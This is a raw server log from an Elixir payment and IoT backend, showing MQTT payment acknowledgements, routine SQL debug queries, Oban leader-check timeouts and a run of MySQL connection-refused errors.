↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 07:02:57.443000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch192202496168_20260904070224783","money": "400.0", "status": "SUCCESS" }
[Fri Sep  4 07:02:57.444000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch192202496168_20260904070224783: %{"money" => "400.0", "request_id" => "ch192202496168_20260904070224783", "status" => "SUCCESS"}
[Fri Sep  4 07:02:57.444000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch192202496168_20260904070224783 is success
[Fri Sep  4 07:02:57.454000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=9.1ms idle=1033.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch192202496168_20260904070224783", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 07:02:57.454000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch192202496168_20260904070224783
[Fri Sep  4 07:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1099.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 07:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1057.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 07:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1995.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 07:30:00.701000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1169.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 07:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 07:34:34.968000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 07:34:39.969000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 07:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1930.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 07:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1894.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 07:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1832.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 07:56:37.566000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 07:56:42.567000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 07:56:46.975000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:438: MyXQL.Connection.handle_transaction/3
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1891: DBConnection.run_commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1366: DBConnection.checkin/4
    (db_connection 2.7.0) lib/db_connection.ex:1870: DBConnection.commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1783: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 07:57:35.055000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 08:00:01.033000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.9ms idle=285.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 08:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 08:00:01.237000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=490.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 08:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 08:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1750.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 08:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1710.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 08:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms queue=0.1ms idle=1664.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 08:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1629.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 08:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1599.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 08:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1537.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 09:00:00.224000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1234.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 09:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 09:00:00.382000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1392.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 09:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 09:00:05.994000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Fri Sep  4 09:01:58.422000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Fri Sep  4 09:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1464.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 09:08:45.020000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 09:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1411.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 09:16:34.348000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 09:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1355.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 09:29:12.181000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 09:31:01.141000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 09:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1311.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 09:45:53.542000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 09:45:58.543000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 09:46:00.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:438: MyXQL.Connection.handle_transaction/3
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1891: DBConnection.run_commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1366: DBConnection.checkin/4
    (db_connection 2.7.0) lib/db_connection.ex:1870: DBConnection.commit/3
    (db_connection 2.7.0) lib/db_connection.ex:1783: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 09:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1227.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 09:51:48.526000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:48.528000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:49.056000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:49.069000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.086000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.122000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.124000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.516000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.523000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.527000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.524000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:50.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:50.581000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:51.519000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.564000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:51.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:51.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:51.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Fri Sep  4 09:51:51.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.691000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:51.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.092000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.099000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.326000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.394000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.764000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:52.986000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:53.011000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:53.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:53.298000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:53.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Fri Sep  4 09:51:53.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
